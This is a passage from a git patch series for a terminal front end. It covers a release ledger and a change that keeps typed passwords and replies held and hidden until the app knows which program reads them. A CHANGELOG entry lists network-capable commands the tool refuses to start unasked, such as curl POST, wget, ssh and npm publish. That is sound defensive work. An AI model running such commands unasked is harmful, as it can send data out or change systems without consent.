= `86bb3a6c`, which contains `dev` `a8b383c2`. Draft PR #429 is the v0.21 release. +- PR #430 (`dev` → `release/v0.21.0`) has merged: merge commit `86bb3a6c` (dated 22:02 IST), which contains `dev` + `a8b383c2`. GitHub still reported it open when this session first checked. Draft PR #429 is the v0.21 release. - **v0.22 PRs stay draft against `dev` until v0.21 ships**: a fix v0.21's QA needs lands on `dev` and reaches the release by another `dev` → release merge, which would carry anything v0.22 merged earlier. Nothing in v0.22 touches `release/v0.21.0`, its QA evidence, `master` or publishing. From 293b97a7e920e691527aebb11c8a35e687a4c71b Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:29:08 +0530 Subject: [PATCH 056/157] v0.22 ledger: #356 not reproduced under 8x load Refs #431 Refs #356 --- docs/development/v022-ledger.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 33253f2e..6ab09433 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -22,7 +22,7 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here | --- | --- | --- | --- | --- | | 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` (this ledger's PR) | Draft PR | | R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; local full verify and CI green | -| R2 | Fish keys after a handed-over read | #356 | — | Investigation | +| R2 | Fish keys after a handed-over read | #356 | — | Not reproduced (32/32 at 8×); left open, deferred | | U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR; local full verify green | | D1 | Multiline history browsing | #389 | — | Reproduced; awaiting maintainer decision | | D2 | Natural-language command suggestions | #432 | — | Proposal; awaiting maintainer decision | @@ -59,6 +59,9 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here (macOS and Ubuntu shards, Node 22, Quality, Verify 22.x/26.x): green. - U1: 5 new tests fail before the change and pass after; full `npm run verify` on `5d81d93e` (load 4–13): 3,148 tests, 3,146 pass, 2 skipped, 0 failed. +- R2 (#356) on the #433 branch, Fish 4.9.3: `typingAfterRead` "live fish" 8 copies in parallel, four rounds: 32/32 + (192 answer-then-next-command sequences). A 16-copy run failed in all copies at startup (`completed journal for + echo READY`) before any read: journaling stalled on the T7; environmental, not counted. - CPU contention alone does not reproduce #426: at load 64 a probe (`stty` + `ps`) took 10 ms p50, 39 ms max. The audit's slow looks came with memory pressure (5–7 GB of swap); this session did not induce swap deliberately. - Environment, not product: a Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` see Finder (pid 44738) From e566a1e64703df605393551c1726c417f176a1a8 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 00:23:14 +0530 Subject: [PATCH 057/157] Input ownership: never route typing on a guess; echo-off input is never drawn Review of the first #426 change found that its 5 s fallback, and any look that ended without evidence, still routed held keys as ordinary typing: a password typed for read -s, sudo or ssh could be drawn in the composer, queued, and run as a command; a command that ended while keys were held (read -s -t that gave up) replayed them at the prompt and ran them; Ctrl+C replayed held keys before interrupting, so a held reply plus Enter became a paused queue entry. - InputWatch: echo off with line input is a hidden request whatever else is known (confirmed when the group is idle, likely when it computes or the kernel says it is blocked elsewhere). directInput treats hidden input as direct at either confidence, so NMSh never draws what the terminal would not echo. - lookNow says what it saw: hidden, visible, unknown (no sample said how the terminal echoes: a probe failed or timed out), idle or unavailable. The echo state comes from any sample taken, even one overtaken by output. input-looked carries it (optional field; services advertise input-look-result; older frontends ignore it). - TerminalApp: held keys are settled explicitly. visible or evidence routes as before. unknown gets one more look; if that is blind too, or no answer comes within 5 s, the typing stays held and hidden and the activity rows say "Can't tell whether <program> is reading your typing": Ctrl+S sends it to the program, Tab shows it in the composer (a final Enter is not replayed), Esc discards it, and later evidence decides it the same way. Ctrl+C discards held typing, as a terminal flushes its input on an interrupt. A command that ends while its typing was held past 800 ms never runs it (a note says it was discarded); a quick end still runs type-ahead. An older service's silent answer is routed as before (documented limit). Adversarial regressions drive looks the test settles with what they saw, on mocked timers, and assert the secret is nowhere: not on screen, in the composer, the queue, the transcript or a submitted command. 10 of them fail on the previous head; all pass here. Refs #426 --- CHANGELOG.md | 2 +- docs/design/input-awareness.md | 29 ++- src/app/TerminalApp.ts | 143 +++++++++--- src/session/InProcessSessionClient.ts | 7 +- src/session/InputWatch.ts | 39 ++-- src/session/SessionClient.ts | 8 +- src/session/SessionProtocol.ts | 11 +- src/session/SessionService.ts | 2 +- src/session/SocketSessionClient.ts | 11 +- src/session/inputState.ts | 20 +- src/status/inputStatus.ts | 19 ++ tests/inputAwareness.test.ts | 76 ++++++- tests/inputOwnershipLook.test.ts | 302 ++++++++++++++++++++------ 13 files changed, 525 insertions(+), 144 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 28d343b0..85270308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,7 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env <command>`, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. -- On a heavily loaded machine, a reply typed right after starting a command that reads without a prompt (`read -r reply`, `read -s`, `read -k 1`) is no longer queued as the next command, and a password typed before NMSh could check is no longer shown in the composer ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). Keys typed while NMSh is still checking whether the running command reads input now wait for that check instead of being routed after 0.8 s: on an idle machine nothing changes, and when the check takes longer the composer says `Checking whether … is waiting for input · your typing is kept` (at most 5 s, after which typing is routed as before). Before, a password typed at once for a prompt-less `read -s` could be queued as a shell command. +- Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input, and a command that ends while typing was held for its check never runs it (a note says so). Type-ahead on an idle machine is unchanged. ## [0.20.0] - 2026-10-18 diff --git a/docs/design/input-awareness.md b/docs/design/input-awareness.md index 9db06d0e..77be1168 100644 --- a/docs/design/input-awareness.md +++ b/docs/design/input-awareness.md @@ -65,17 +65,24 @@ Probes back off (every 10 s after a minute of quiet), and the first look comes 1 typed in that time would be routed on no evidence. So the frontend holds the keys that decide where typing goes, the first key of a draft and an Enter that would queue, and asks the session to look now (`input-look`, answered by `input-looked` after any `input-state` the look produced). Keys typed right after Enter wait for the shell's exec first. -The hold ends when the look is done or when evidence arrives, and the keys are then routed on what is known, in the -order typed. Until then nothing typed is drawn, sent or queued: the keys may be a hidden reply, and an Enter may answer -the command or queue the next one (#426). A look usually takes tens of milliseconds, but on a loaded machine it can take -seconds (a prompt-less line read needs two samples, and each starts `stty` and `ps`); after 800 ms the composer says -`Checking whether … is waiting for input · your typing is kept`, so nobody types it again. The hold is bounded at 5 s, -after which the keys are routed on what is known. A first sample that finds the shell holding its terminal while still -on a CPU, with nothing earlier to compare, is not taken as computing: on a loaded machine the shell is runnable for a -moment before its builtin blocks in `read`, so the follow-up sample decides. A program that took the terminal -meanwhile (Fish's reader) gets the keys as raw keys. Ctrl+C is -never held, and typing right after Ctrl+C or Ctrl+Z stays type-ahead for the prompt. Both ends negotiate the feature; -an older service is never asked and behaves as before. +The hold ends when the look answers or evidence arrives. Until then nothing typed is drawn, sent or queued: the keys +may be a hidden reply, and an Enter may answer the command or queue the next one (#426). The look says what it saw: +`hidden` (echo off for line input), `visible` (the terminal echoes), `unknown` (no sample said how it echoes: a probe +failed or timed out), `idle` (nothing runs) or `unavailable` (no way to look on this platform). `visible` routes the +keys as before (a terminal would show them too); `hidden` comes with a hidden request, so they go straight to the +program. Echo off with line input is a hidden request whatever else is known (confirmed when the group is idle, +likely when it computes or the kernel says it is blocked elsewhere), so NMSh never draws what the terminal would not +echo. An `unknown` answer gets one more look; if that is blind too, or no answer comes within 5 s, the keys stay held +and hidden: the activity rows say `Can't tell whether <program> is reading your typing` and Ctrl+S sends it to the +program, Tab shows it in the composer (for review; a final Enter is not replayed), Esc discards it. Later evidence +decides it the same way. A look still running after 800 ms says `Checking whether … · your typing is kept`. + +A command that ends while its typing was held past 800 ms never runs it: NMSh never learned whether it was a reply +(a timed `read -s` that gave up), so it is discarded with a note. A quick end (type-ahead after a short command) runs +it as before. Ctrl+C discards held typing, as a terminal flushes its input queue on an interrupt, and is itself +never held. A program that took the terminal meanwhile (Fish's reader) gets the keys as raw keys. An older service +does not say what its look saw; its answers are routed as before. Typing right after Ctrl+C or Ctrl+Z stays +type-ahead for the prompt. Both ends negotiate the feature; an older service is never asked and behaves as before. When an answer goes to the program (a key in key mode, Enter otherwise), the frontend counts the question as answered until the session reports again, so the next command typed at speed is routed on fresh evidence. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 64323601..d102ded9 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -211,7 +211,7 @@ import {PATH_DISPLAY_LEVELS} from '../prompt/pathDisplay.js'; import {completedActivity, liveActivityParts} from '../status/activity.js'; import {ACTIVITY_VERBS, selectActivityVerb, type ActivityVerbPair} from '../status/activityVerbs.js'; import {OpenLine, promptShaped} from '../session/openLine.js'; -import {completionWaitFact, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; +import {completionWaitFact, heldInputActions, heldInputRows, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; import {pauseReason, pausedGlyph, queueGlyph, queuePreview, queueRow, queueBlock, type QueueAffordance} from '../status/queueStatus.js'; import {queueSettingsPreview} from '../status/queueSettingsPreview.js'; import {queuePanelKey, renderQueuePanel, type QueuePanelState} from '../queue/QueuePanel.js'; @@ -221,7 +221,7 @@ import {buildQueueSummary, recognizedExecutables, reviewedTextSafe, type QueueSu import type {QueueTimeline} from '../session/ExecutionTimeline.js'; import type {QueueEntry, QueueState} from '../session/CommandQueue.js'; import type {QueueNews} from '../session/SessionClient.js'; -import {directInput, type InputState, type InputTiming} from '../session/inputState.js'; +import {directInput, type InputState, type InputTiming, type LookResult} from '../session/inputState.js'; import {directKeyBytes} from '../terminal/keyBytes.js'; import {extractFacts} from '../status/adapters.js'; import {focusForeground, foreground, background, UI_COLORS, lazyForeground} from '../ui/palette.js'; @@ -429,6 +429,20 @@ const STOP_TYPE_AHEAD_MS = 2000; const OWNERSHIP_LOOK_MS = 5000; /** A look still running after this long (a loaded machine) says so in the composer: the typing is kept, not lost. */ const OWNERSHIP_LOOK_SLOW_MS = 800; +/** How held keys end: on the evidence (route), dropped, sent to the program as typed, or shown in the composer. */ +type HoldSettle = 'route' | 'discard' | 'send' | 'reveal'; +/** Keys held while NMSh looks at whether the running command reads input (#426). */ +interface OwnershipHold { + keys: Key[]; + startId: number; + /** A question was open when the hold began: the typing is a reply. */ + answering: boolean; + /** The look has run past OWNERSHIP_LOOK_SLOW_MS: the composer says the typing is kept. */ + slow: boolean; + /** No usable evidence: the typing stays held and hidden until evidence arrives or the person chooses. */ + uncertain: boolean; + settle: (how: HoldSettle) => void; +} /** How long after confirming a queue review an empty Enter is not sent to the command that just started. */ const QUEUE_CONFIRM_SETTLE_MS = 600; /** The transcript keeps at least this many rows when the expanded queue takes some (as withQueueRows does). */ @@ -852,7 +866,7 @@ export class TerminalApp { * Keys held while the session looks whether the running command waits for input: the first key of a draft (a * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). */ - private ownershipLook?: {keys: Key[]; startId: number; answering: boolean; slow: boolean; release: () => void}; + private ownershipLook?: OwnershipHold; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -1394,7 +1408,7 @@ export class TerminalApp { } if (this.passthrough && !this.startupPending) { // Keys held for an ownership look were typed first: they reach the program first. - this.ownershipLook?.release(); + this.ownershipLook?.settle('route'); this.session.write(data); return; } @@ -2300,9 +2314,14 @@ export class TerminalApp { } if (this.queueReview) { this.queueReviewKey(key); return; } if (this.ownershipLook) { - // Ctrl+C is never held: what was typed is routed on what is known now, then the interrupt goes. - if (key.kind !== 'interrupt') { this.ownershipLook.keys.push(key); return; } - this.ownershipLook.release(); + const hold = this.ownershipLook; + // Ctrl+C is never held, and what was typed before it whose reader NMSh did not know is discarded, as a terminal + // flushes its input queue on an interrupt: it never becomes a queued entry or the next command (#426). + if (key.kind === 'interrupt') hold.settle('discard'); + else if (hold.uncertain && key.kind === 'sendToProgram') { hold.settle('send'); return; } + else if (hold.uncertain && key.kind === 'complete') { hold.settle('reveal'); return; } + else if (hold.uncertain && key.kind === 'escape') { hold.settle('discard'); return; } + else { hold.keys.push(key); return; } } else if (this.needsOwnershipLook(key)) { this.holdForOwnershipLook(key); return; @@ -4382,6 +4401,8 @@ export class TerminalApp { this.lastPtyRows = 0; this.lastPtyColumns = 0; } + // Keys still held for this command's look are settled now that it is over (#426). + this.ownershipLook?.settle('route'); // A command may have changed what workspace facts say (npm version, terraform workspace select, aws configure). this.contextEngine.invalidate('command'); void this.refreshContext(cwd); @@ -11436,6 +11457,8 @@ export class TerminalApp { const queue = listed?.[0] ?? this.queueLine(columns); if (!this.running) return queue ? (listed ? ['', queue] : [queue, '']) : []; const request = this.inputState?.request; + // Typing held without evidence of who reads it: say so, and how to choose, in the rows a wait would use. + if (this.ownershipLook?.uncertain) return heldInputRows(this.running.command.trim().split(/\s+/u)[0] || 'the command', columns); // A wait reads top to bottom (headline, then the question) wherever the composer is docked. if (request) { const rows = inputActivityRows({...this.inputState!, request}, this.running.command, this.running.startedAt, this.activityAnimationNow, columns); @@ -11458,6 +11481,7 @@ export class TerminalApp { if (this.queueCompose) return {text: 'Queue a command · Enter adds it · Esc returns to the program', waiting: false}; const request = this.inputState?.request; const program = request ? inputProgram(request, this.running.command) : commandWords(this.running.command)[0] ?? 'the program'; + if (this.ownershipLook?.uncertain) return {text: heldInputActions(this.running.command.trim().split(/\s+/u)[0] || 'the command'), waiting: true}; if (this.ownershipLook?.slow) return {text: `Checking whether ${program} is waiting for input · your typing is kept`, waiting: false}; // A waiting program gets the one instruction, with or without a queue; a question NMSh has not yet probed reads // as a line. @@ -11854,7 +11878,7 @@ export class TerminalApp { const typed = draft && draft.startId === this.running.startId && !this.queueCompose && !this.queueEdit ? this.editor.text : ''; this.onActiveModeChange('PASSTHROUGH'); if (typed && this.passthrough) { this.editor.clear(); this.runningDraft = undefined; this.session.write(typed); } - this.ownershipLook?.release(); + this.ownershipLook?.settle('route'); return; } const request = state.request; @@ -11867,7 +11891,7 @@ export class TerminalApp { this.session.write(typed); } else if (request && draft && draft.at >= request.since && this.editor.text) draft.answering = true; // The evidence a held key waited for has arrived. - if (request) this.ownershipLook?.release(); + if (request) this.ownershipLook?.settle('route'); this.render(); } @@ -11887,48 +11911,109 @@ export class TerminalApp { /** * Hold the key (and any typed after it) until the session has looked, then route them on that evidence. Until then * nothing typed is drawn, sent or queued: it may be a hidden reply, and its Enter may answer the command or queue the - * next one. On a loaded machine the look can take seconds (#426); the composer then says the typing is kept. + * next one (#426). A look usually answers in milliseconds; after OWNERSHIP_LOOK_SLOW_MS the composer says the typing + * is kept. When the look saw nothing usable, or never answers within OWNERSHIP_LOOK_MS, the typing stays held and + * hidden (uncertain) until evidence arrives or the person chooses: Ctrl+S sends it to the program, Tab shows it in + * the composer, Esc discards it. It is never routed on a guess. Ctrl+C discards it, as a terminal flushes its input. + * A command that ends while its typing was held past the slow mark never runs it. */ private holdForOwnershipLook(key: Key): void { const running = this.running!; const keys = [key]; - let released = false; - const release = () => { - if (released) return; - released = true; - clearTimeout(timer); + // The command line's own first word (sudo, not the command sudo runs): what the person sees running. + const program = running.command.trim().split(/\s+/u)[0] || 'the command'; + const typing = (item: Key) => item.kind === 'text' || item.kind === 'paste' || item.kind === 'enter' || item.kind === 'newline'; + const discarded = (message: string) => { if (keys.some(typing)) this.output.addFrontendInteraction(program, message, INFO); }; + let settled = false; + const settle = (how: HoldSettle) => { + if (settled) return; + settled = true; + clearTimeout(bound); clearTimeout(slow); - if (this.ownershipLook?.keys === keys) this.ownershipLook = undefined; - // The command ended while NMSh looked. A reply to its open question is discarded, never run; anything else - // is what it would have been without the look: typing for the next command, Enter running it after. + if (this.ownershipLook === hold) this.ownershipLook = undefined; const ended = this.running?.startId !== running.startId; - const typing = (item: Key) => item.kind === 'text' || item.kind === 'paste' || item.kind === 'enter'; - if (ended && hold.answering && keys.some(typing)) { - this.output.addFrontendInteraction(commandWords(running.command)[0] ?? 'command', 'The command finished before your reply was sent; the reply was discarded, not run.', INFO); + const doubted = hold.slow || hold.uncertain; + if (how === 'discard') { + if (doubted) discarded('Your held typing was discarded, not sent or run.'); + this.render(); + return; + } + if (how === 'send') { + // What the composer shows and what was held, in the order typed, as the bytes a terminal sends. + const bytes = `${this.editor.text}${keys.map(item => directKeyBytes(item) ?? '').join('')}`; + this.editor.clear(); + this.runningDraft = undefined; + if (bytes) this.session.write(bytes); + if (/[\r\n]/u.test(bytes)) this.answerSent(); + this.render(); + return; + } + if (how === 'reveal') { + // Shown for review, never routed: a final Enter is not replayed, earlier ones become new lines. + let end = keys.length; + while (end > 0 && keys[end - 1]!.kind === 'enter') end -= 1; + this.replayingHeld = true; + try { for (const item of keys.slice(0, end)) this.handleKey(item.kind === 'enter' ? {kind: 'newline'} as Key : item); } finally { this.replayingHeld = false; } + this.render(); + return; + } + // The command ended while NMSh looked. A reply to its open question is discarded, never run; so is typing held + // past the slow mark, since NMSh never learned whether it was a reply (a timed read that gave up). Anything else + // is what it would have been without the look: typing for the next command, Enter running it after. + if (ended && (hold.answering || doubted) && keys.some(typing)) { + discarded(hold.answering ? 'The command finished before your reply was sent; the reply was discarded, not run.' + : `${program} ended before NMSh could tell whether your typing was for it; it was discarded, not run.`); + const rest = keys.filter(item => !typing(item)); + this.replayingHeld = true; + try { for (const item of rest) this.handleKey(item); } finally { this.replayingHeld = false; } + this.render(); + return; } // The program took the terminal meanwhile (a native reader, a full-screen program): the keys are its own, in order. if (!ended && this.passthrough) { for (const item of keys) { const bytes = directKeyBytes(item); if (bytes) this.session.write(bytes); } return; } - const replay = ended && hold.answering ? keys.filter(item => !typing(item)) : keys; this.replayingHeld = true; - try { for (const item of replay) this.handleKey(item); } finally { this.replayingHeld = false; } + try { for (const item of keys) this.handleKey(item); } finally { this.replayingHeld = false; } this.render(); }; - const timer = setTimeout(release, OWNERSHIP_LOOK_MS); - timer.unref?.(); + // No usable evidence yet: keep the typing held and hidden, and say so (never route it on a guess). + const doubt = () => { + if (settled) return; + if (this.running?.startId !== running.startId || this.passthrough || this.inputState?.request || this.inputState?.terminalOwner) { settle('route'); return; } + hold.uncertain = true; + this.render(); + }; + const bound = setTimeout(doubt, OWNERSHIP_LOOK_MS); + bound.unref?.(); const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); slow.unref?.(); - const hold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, release}; + const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, settle}; this.ownershipLook = hold; - void this.lookWhenStarted(running.startId, Date.now() + OWNERSHIP_LOOK_MS).then(release, release); + // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: + // gathering evidence once more, not waiting longer. An older service does not say what it saw: its answer is + // routed as it always was (documented limit). + let relooked = false; + const deadline = Date.now() + OWNERSHIP_LOOK_MS; + const look = () => void this.lookWhenStarted(running.startId, deadline).then(answered, () => answered('unknown')); + const answered = (result: LookResult | undefined) => { + if (settled) return; + const blind = result === 'unknown' || (result === 'hidden' && !this.inputState?.request) + || (result === undefined && this.session.features.has('input-look-result')); + if (!blind) settle('route'); + else if (!relooked && this.running?.startId === running.startId) { relooked = true; look(); } + else doubt(); + }; + look(); } /** Look once the shell has started the command (keys typed right after Enter arrive before its exec). */ - private async lookWhenStarted(startId: number, deadline: number): Promise<void> { + private async lookWhenStarted(startId: number, deadline: number): Promise<LookResult | undefined> { while (this.running?.startId === startId && this.running.awaitingExec && Date.now() < deadline) await new Promise(done => setTimeout(done, 15)); - if (this.running?.startId === startId && !this.running.awaitingExec) await this.session.lookInput?.(); + if (this.running?.startId !== startId) return 'idle'; + if (this.running.awaitingExec) return 'unknown'; + return this.session.lookInput?.(); } /** Forward one key to the waiting program as the bytes a terminal sends; nothing is kept, shown or logged. */ diff --git a/src/session/InProcessSessionClient.ts b/src/session/InProcessSessionClient.ts index 2ab9d635..7aba6785 100644 --- a/src/session/InProcessSessionClient.ts +++ b/src/session/InProcessSessionClient.ts @@ -6,6 +6,7 @@ import {shellAdapter} from '../shell/adapters/registry.js'; import {SERVICE_FEATURES, type ServiceFeature} from './SessionProtocol.js'; import {QueueDispatcher, type QueueShell} from './QueueDispatcher.js'; import type {QueueOp} from './CommandQueue.js'; +import type {LookResult} from './inputState.js'; import {SessionTasks} from '../backgroundTasks/sessionTasks.js'; import type {TaskOp} from '../backgroundTasks/protocol.js'; import {SESSION_ID_ENV, SESSION_MODE_ENV, type SessionClient, type SessionClientEvents, type SessionOptions} from './SessionClient.js'; @@ -78,11 +79,9 @@ export class InProcessSessionClient extends EventEmitter<SessionClientEvents> im } interrupt(): void { this.dispatcher.onInterrupt(); this.shell.interrupt(); } queue(change: QueueOp): void { this.dispatcher.request(change); } - async lookInput(): Promise<boolean> { + async lookInput(): Promise<LookResult | undefined> { const watch = this.shell.inputWatch; - if (!watch) return false; - await watch.lookNow(); - return true; + return watch ? watch.lookNow() : undefined; } private queueShell(): QueueShell { diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index 9ef44b0c..c69c8590 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -2,8 +2,8 @@ import {EventEmitter} from 'node:events'; import {shouldPassthrough} from '../passthrough/PassthroughPolicy.js'; import {OpenLine, promptShaped, promptText} from './openLine.js'; import {AlternateScreenTracker} from './TerminalModes.js'; -import type {ForegroundProcess, TerminalProbe, TerminalSample} from './terminalProbe.js'; -import {type InputMode, type InputRequest, type InputState} from './inputState.js'; +import type {ForegroundProcess, TerminalModes, TerminalProbe, TerminalSample} from './terminalProbe.js'; +import {type InputMode, type InputRequest, type InputState, type LookResult} from './inputState.js'; /** * Watches one session's running command for a credible request for input. Lives beside the PTY (in the session @@ -185,16 +185,24 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { * Look at once, outside the schedule: a key is about to be routed and must not be routed on old or missing * evidence (the schedule backs off to one look every few seconds). Resolves once a fresh sample was applied, or * at once when nothing runs. When the first sample saw the shell holding the terminal, a second one decides. + * Says what it saw (#426): whether the terminal echoes typing (from any sample taken, even one overtaken by newer + * output, since echo is a setting of the terminal), that it could not tell, or that nothing runs. */ - async lookNow(): Promise<void> { + async lookNow(): Promise<LookResult> { + let seen: TerminalModes | undefined; for (let sample = 0; sample < 2; sample += 1) { while (this.probing) await this.probing; - if (this.disposed || !this.running || !this.options.probe) return; + if (this.disposed || !this.running) return 'idle'; + if (!this.options.probe) return 'unavailable'; this.followUp = false; - await this.look(true); - if (!this.followUp || this.request) return; + seen = (await this.look(true))?.modes ?? seen; + if (!this.followUp || this.request) break; await new Promise<void>(done => { this.setTimer(done, FOLLOW_UP_MS); }); } + if (this.disposed || !this.running) return 'idle'; + if (this.request?.mode === 'hidden') return 'hidden'; + if (!seen) return 'unknown'; + return seen.canonical && !seen.echo ? 'hidden' : 'visible'; } dispose(): void { @@ -236,27 +244,28 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { this.cancelTimer = this.setTimer(() => { this.cancelTimer = undefined; void this.look(); }, delay); } - /** One sample; onDemand looks (lookNow) leave the schedule's back-off where it was. */ - private async look(onDemand = false): Promise<void> { - if (this.disposed || !this.running || this.probing) return; + /** One sample, returned even when newer output made it stale; onDemand looks (lookNow) leave the back-off as it was. */ + private async look(onDemand = false): Promise<TerminalSample | undefined> { + if (this.disposed || !this.running || this.probing) return undefined; if (!onDemand) this.looks += 1; if (this.ownsTerminal) { if (this.request) this.closeWait(this.now(), true); this.schedule(); - return; + return undefined; } const tty = this.options.tty?.(); const probe = this.options.probe; - if (!tty || !probe) return; + if (!tty || !probe) return undefined; const generation = this.generation; this.lastProbeAt = this.now(); let sample: TerminalSample | undefined; const probing = (async () => { try { sample = await probe({tty}); } catch { sample = undefined; } })(); this.probing = probing; try { await probing; } finally { this.probing = undefined; } - if (this.disposed || !this.running) return; + if (this.disposed || !this.running) return undefined; if (generation === this.generation && sample) this.apply(sample, this.now()); this.schedule(); + return sample; } /** Decide from one sample. Exposed for tests through InputWatch.evaluate. */ @@ -293,6 +302,11 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { const modes = sample.modes; const mode: InputMode = !modes ? 'line' : !modes.canonical ? 'key' : !modes.echo ? 'hidden' : 'line'; if (sample.readingTerminal === true) return {confidence: 'confirmed', mode}; + // Echo off with line input: the terminal shows nothing typed, so neither does NMSh, whatever else is known. Without + // the other evidence (the group computes, or the kernel says it is blocked elsewhere) it is only likely (#426). + if (modes && modes.canonical && !modes.echo) { + return {confidence: sample.readingTerminal === false || busy === true || busy === 'runnable' ? 'likely' : 'confirmed', mode: 'hidden'}; + } // The kernel says every foreground thread is blocked on something other than the terminal. if (sample.readingTerminal === false || busy === true) return undefined; const shellHolds = shellHoldsTerminal(sample.foreground); @@ -302,7 +316,6 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { if (shellHolds && modes) this.followUp = true; return undefined; } - if (modes && modes.canonical && !modes.echo) return {confidence: 'confirmed', mode: 'hidden'}; if (modes && !modes.canonical) return this.line.open || shellHolds ? {confidence: 'confirmed', mode: 'key'} : undefined; // Ordinary line input: only a question left open, quiet output, and an idle group seen across two samples. if (busy === false && this.line.open && promptShaped(this.line.line) && now - this.lastOutput >= LIKELY_QUIET_MS) return {confidence: 'likely', mode: 'line'}; diff --git a/src/session/SessionClient.ts b/src/session/SessionClient.ts index 41c6b228..d33b405f 100644 --- a/src/session/SessionClient.ts +++ b/src/session/SessionClient.ts @@ -1,3 +1,4 @@ +import type {LookResult} from './inputState.js'; import type {EventEmitter} from 'node:events'; import type {ShellMarker} from '../shell/ShellProtocol.js'; import type {TranscriptSession} from '../sessions/TranscriptStore.js'; @@ -91,10 +92,11 @@ export interface SessionClient extends EventEmitter<SessionClientEvents> { */ task?(change: TaskOp): void; /** - * Look at the running command's input state now; resolves true once the look is done (any change it found has - * already been emitted as inputState), false when whatever owns the shell cannot look on demand. + * Look at the running command's input state now; resolves once the look is done (any change it found has already + * been emitted as inputState) with what it saw, or undefined when whatever owns the shell cannot look on demand, + * is gone, or is an older service that does not say (it lacks 'input-look-result'). */ - lookInput?(): Promise<boolean>; + lookInput?(): Promise<LookResult | undefined>; /** Optional capabilities of whatever owns the shell (the service's welcome, or this build in-process). */ readonly features: ReadonlySet<ServiceFeature>; /** Build of the session service, when it reported one. */ diff --git a/src/session/SessionProtocol.ts b/src/session/SessionProtocol.ts index 638da23d..8a583543 100644 --- a/src/session/SessionProtocol.ts +++ b/src/session/SessionProtocol.ts @@ -26,7 +26,7 @@ export const MAX_FRAME_BYTES = 8 * 1024 * 1024; * talking to an older service (same protocol version, still running its live * sessions) degrades factually instead of failing later. */ -export const SERVICE_FEATURES = ['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'background-tasks', 'input-look', 'queue-timeline', 'queue-history'] as const; +export const SERVICE_FEATURES = ['shell-switch', 'shell-backends', 'notices', 'input-state', 'queue', 'queue-conditions', 'background-tasks', 'input-look', 'queue-timeline', 'queue-history', 'input-look-result'] as const; export type ServiceFeature = typeof SERVICE_FEATURES[number]; /** @@ -114,8 +114,11 @@ export type ServerMessage = */ /** The session's command queue (QueueState as JSON) and what just happened to it. */ | {type: 'queue-state'; state: string; dispatched?: number; refused?: string; dropped?: number} - /** The look asked for by input-look id is done; only to frontends that listed 'input-look'. */ - | {type: 'input-looked'; id: number} + /** + * The look asked for by input-look id is done; only to frontends that listed 'input-look'. result: what it saw + * (a LookResult), from services that advertise 'input-look-result'; older frontends ignore it. + */ + | {type: 'input-looked'; id: number; result?: string} | {type: 'input-state'; terminalOwner?: number; since?: number; confidence?: string; mode?: string; prompt?: string; program?: string; waitedMs: number; waits: number} /** This session's background tasks (TaskRecord[] as JSON), on attach and whenever one changes. */ | {type: 'tasks'; state: string} @@ -203,7 +206,7 @@ const SHAPES: Record<string, Shape> = { dismiss: {sessionId: 'string'}, queue: {change: 'string'}, 'input-look': {id: 